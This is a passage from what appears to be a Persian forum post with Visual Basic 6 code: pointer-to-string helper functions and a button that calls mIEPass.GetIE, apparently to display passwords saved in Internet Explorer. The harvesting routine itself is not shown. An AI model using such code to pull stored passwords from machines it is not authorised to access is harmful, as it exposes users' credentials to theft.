Else
StripTerminator = s
End If
End Function
Private Function CopyString(ByVal ptr As Long) As String
If ptr Then
CopyString = StrConv(SysAllocString(ptr), vbFromUnicode)
Else
CopyString = vbNullString
End If
End Function
Private Function GetStrFromPtrA(ByVal lpszA As Long) As String
GetStrFromPtrA = String$(lstrlenA(ByVal lpszA), 0)
Call lstrcpyA(ByVal GetStrFromPtrA, ByVal lpszA)
End Function
اینم کد فرمممون:
Private Sub Command1_Click()
Text1.Text = mIEPass.GetIE & vbCrLf & "Done..."
End Sub